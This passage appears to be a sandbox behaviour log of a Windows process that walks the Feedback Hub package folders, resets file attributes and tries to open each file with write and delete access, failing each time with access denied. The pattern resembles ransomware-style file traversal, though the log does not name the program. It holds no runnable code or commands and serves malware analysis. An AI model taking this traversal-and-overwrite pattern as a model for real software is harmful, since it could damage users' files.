	[0082.681] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_~_8wekyb3d8bbwe\\*", lpFindFileData=0x502bad8 | out: lpFindFileData=0x502bad8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4ff71b46, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xf97abca3, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xf97abca3, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a8818
	[0082.683] wcscmp (_String1=".", _String2=".") returned 0
	[0082.683] FindNextFileW (in: hFindFile=0x46a8818, lpFindFileData=0x502bad8 | out: lpFindFileData=0x502bad8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4ff71b46, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xf97abca3, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xf97abca3, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.683] wcscmp (_String1="..", _String2=".") returned 1
	[0082.683] wcscmp (_String1="..", _String2="..") returned 0
	[0082.683] FindNextFileW (in: hFindFile=0x46a8818, lpFindFileData=0x502bad8 | out: lpFindFileData=0x502bad8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x500a2e1a, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x500c9078, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x500c9078, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x154, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBlockMap.xml", cAlternateFileName="")) returned 1
	[0082.683] wcscmp (_String1="AppxBlockMap.xml", _String2=".") returned 1
	[0082.683] wcscmp (_String1="AppxBlockMap.xml", _String2="..") returned 1
	[0082.683] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe4) returned 0x47eb8e8
	[0082.683] wcscpy (in: _Dest=0x47eb8e8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_~_8wekyb3d8bbwe"
	[0082.683] wcscat (in: _Dest=0x47eb8e8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_~_8wekyb3d8bbwe\\"
	[0082.683] wcscat (in: _Dest=0x47eb8e8, _Source="AppxBlockMap.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml"
	[0090.108] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsfeedbackhub_1.1612.10312.0_neutral_~_8wekyb3d8bbwe\\appxblockmap.xml")) returned 0x20
	[0090.108] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml", dwFileAttributes=0x20) returned 0
	[0090.108] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsfeedbackhub_1.1612.10312.0_neutral_~_8wekyb3d8bbwe\\appxblockmap.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.108] GetLastError () returned 0x5
	[0090.108] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml", dwFileAttributes=0x20) returned 0
	[0090.109] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47eb8e8) returned 1
	[0090.109] FindNextFileW (in: hFindFile=0x46a8818, lpFindFileData=0x502bad8 | out: lpFindFileData=0x502bad8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4ff71b46, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb23d70f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4ff71b46, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxMetadata", cAlternateFileName="APPXME~1")) returned 1
	[0090.109] wcscmp (_String1="AppxMetadata", _String2=".") returned 1
	[0090.109] wcscmp (_String1="AppxMetadata", _String2="..") returned 1
	[0090.109] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xdc) returned 0x4fcd018
	[0090.109] wcscpy (in: _Dest=0x4fcd018, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_~_8wekyb3d8bbwe"
	[0090.109] wcscat (in: _Dest=0x4fcd018, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_~_8wekyb3d8bbwe\\"
	[0090.109] wcscat (in: _Dest=0x4fcd018, _Source="AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata"
	[0090.109] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe0) returned 0x4fce068
	[0090.109] wcscpy (in: _Dest=0x4fce068, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata"
	[0090.109] wcscat (in: _Dest=0x4fce068, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\"
	[0090.109] wcscat (in: _Dest=0x4fce068, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\*"
	[0090.109] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502dc88
	[0090.109] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\*", lpFindFileData=0x502dc88 | out: lpFindFileData=0x502dc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4ff71b46, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb23d70f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4ff71b46, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477ac68
	[0090.110] wcscmp (_String1=".", _String2=".") returned 0
	[0090.110] FindNextFileW (in: hFindFile=0x477ac68, lpFindFileData=0x502dc88 | out: lpFindFileData=0x502dc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4ff71b46, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb23d70f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4ff71b46, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0090.110] wcscmp (_String1="..", _String2=".") returned 1
	[0090.110] wcscmp (_String1="..", _String2="..") returned 0
	[0090.110] FindNextFileW (in: hFindFile=0x477ac68, lpFindFileData=0x502dc88 | out: lpFindFileData=0x502dc88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ff71b46, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x4ffbdff9, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x4ffbdff9, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x48bb, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBundleManifest.xml", cAlternateFileName="")) returned 1
	[0090.110] wcscmp (_String1="AppxBundleManifest.xml", _String2=".") returned 1
	[0090.110] wcscmp (_String1="AppxBundleManifest.xml", _String2="..") returned 1
	[0090.110] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x10a) returned 0x2d7c580
	[0090.110] wcscpy (in: _Dest=0x2d7c580, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata"
	[0090.110] wcscat (in: _Dest=0x2d7c580, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\"
	[0090.110] wcscat (in: _Dest=0x2d7c580, _Source="AppxBundleManifest.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml"
	[0090.110] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsfeedbackhub_1.1612.10312.0_neutral_~_8wekyb3d8bbwe\\appxmetadata\\appxbundlemanifest.xml")) returned 0x20
	[0090.131] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml", dwFileAttributes=0x20) returned 0
	[0090.132] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsfeedbackhub_1.1612.10312.0_neutral_~_8wekyb3d8bbwe\\appxmetadata\\appxbundlemanifest.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.132] GetLastError () returned 0x5
	[0090.132] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml", dwFileAttributes=0x20) returned 0
	[0090.132] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7c580) returned 1
	[0090.132] FindNextFileW (in: hFindFile=0x477ac68, lpFindFileData=0x502dc88 | out: lpFindFileData=0x502dc88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ff71b46, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x4ffbdff9, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x4ffbdff9, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x48bb, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBundleManifest.xml", cAlternateFileName="")) returned 0
	[0090.132] FindClose (in: hFindFile=0x477ac68 | out: hFindFile=0x477ac68) returned 1
	[0090.132] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x502dc88) returned 1
	[0090.132] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4fce068) returned 1
	[0090.132] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4fcd018) returned 1
	[0090.132] FindNextFileW (in: hFindFile=0x46a8818, lpFindFileData=0x502bad8 | out: lpFindFileData=0x502bad8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x500c9078, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x500ef2d1, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x500ef2d1, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x299d, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1
	[0090.132] wcscmp (_String1="AppxSignature.p7x", _String2=".") returned 1
	[0090.132] wcscmp (_String1="AppxSignature.p7x", _String2="..") returned 1
	[0090.132] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe6) returned 0x491d088
	[0090.132] wcscpy (in: _Dest=0x491d088, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_~_8wekyb3d8bbwe"
	[0090.132] wcscat (in: _Dest=0x491d088, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_~_8wekyb3d8bbwe\\"
	[0090.132] wcscat (in: _Dest=0x491d088, _Source="AppxSignature.p7x" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x"
	[0090.132] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsfeedbackhub_1.1612.10312.0_neutral_~_8wekyb3d8bbwe\\appxsignature.p7x")) returned 0x20
	[0090.133] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x", dwFileAttributes=0x20) returned 0
	[0090.133] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsfeedbackhub_1.1612.10312.0_neutral_~_8wekyb3d8bbwe\\appxsignature.p7x"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.134] GetLastError () returned 0x5
	[0090.134] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x", dwFileAttributes=0x20) returned 0
	[0090.134] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491d088) returned 1
	[0090.134] FindNextFileW (in: hFindFile=0x46a8818, lpFindFileData=0x502bad8 | out: lpFindFileData=0x502bad8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xf97abca3, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xf97abca3, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xf97abca3, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 1
	[0090.134] wcscmp (_String1="microsoft.system.package.metadata", _String2=".") returned 1
	[0090.134] wcscmp (_String1="microsoft.system.package.metadata", _String2="..") returned 1
	[0090.134] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x106) returned 0x500bb80
	[0090.134] wcscpy (in: _Dest=0x500bb80, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_~_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_~_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_~_8wekyb3d8bbwe"
	[0090.134] wcscat (in: _Dest=0x500bb80, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_~_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_~_8wekyb3d8bbwe\\"
	[0090.134] wcscat (in: _Dest=0x500bb80, _Source="microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0090.135] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x10a) returned 0x4732810
	[0090.135] wcscpy (in: _Dest=0x4732810, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0090.135] wcscat (in: _Dest=0x4732810, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata\\"
	[0090.135] wcscat (in: _Dest=0x4732810, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata\\*"
	[0090.135] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502dc88
	[0090.135] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata\\*", lpFindFileData=0x502dc88 | out: lpFindFileData=0x502dc88*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xf97abca3, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xf97abca3, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xf97abca3, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477a768
	[0090.138] wcscmp (_String1=".", _String2=".") returned 0
	[0090.138] FindNextFileW (in: hFindFile=0x477a768, lpFindFileData=0x502dc88 | out: lpFindFileData=0x502dc88*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xf97abca3, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xf97abca3, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xf97abca3, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0090.138] wcscmp (_String1="..", _String2=".") returned 1
	[0090.139] wcscmp (_String1="..", _String2="..") returned 0
	[0090.139] FindNextFileW (in: hFindFile=0x477a768, lpFindFileData=0x502dc88 | out: lpFindFileData=0x502dc88*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xf97abca3, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xf97abca3, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xf97abca3, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0090.139] FindClose (in: hFindFile=0x477a768 | out: hFindFile=0x477a768) returned 1
	[0090.139] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x502dc88) returned 1
	[0090.139] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4732810) returned 1
	[0090.139] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x500bb80) returned 1
	[0090.139] FindNextFileW (in: hFindFile=0x46a8818, lpFindFileData=0x502bad8 | out: lpFindFileData=0x502bad8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xf97abca3, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xf97abca3, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xf97abca3, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 0
	[0090.139] FindClose (in: hFindFile=0x46a8818 | out: hFindFile=0x46a8818) returned 1
	[0090.139] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x502bad8) returned 1
	[0090.139] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4719120) returned 1
	[0090.139] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47e9430) returned 1

Thread:
	id = 1038
	os_tid = 0x1ca8

	[0082.685] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbc) returned 0x4770550
	[0082.685] wcscpy (in: _Dest=0x4770550, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe"
	[0082.685] wcscat (in: _Dest=0x4770550, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\"
	[0082.685] wcscat (in: _Dest=0x4770550, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\*"
	[0082.685] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502bd40
	[0082.685] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\*", lpFindFileData=0x502bd40 | out: lpFindFileData=0x502bd40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5011552a, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xf97abca3, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xf97abca3, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a7b18
	[0082.687] wcscmp (_String1=".", _String2=".") returned 0
	[0082.687] FindNextFileW (in: hFindFile=0x46a7b18, lpFindFileData=0x502bd40 | out: lpFindFileData=0x502bd40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5011552a, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xf97abca3, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xf97abca3, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.687] wcscmp (_String1="..", _String2=".") returned 1
	[0082.687] wcscmp (_String1="..", _String2="..") returned 0
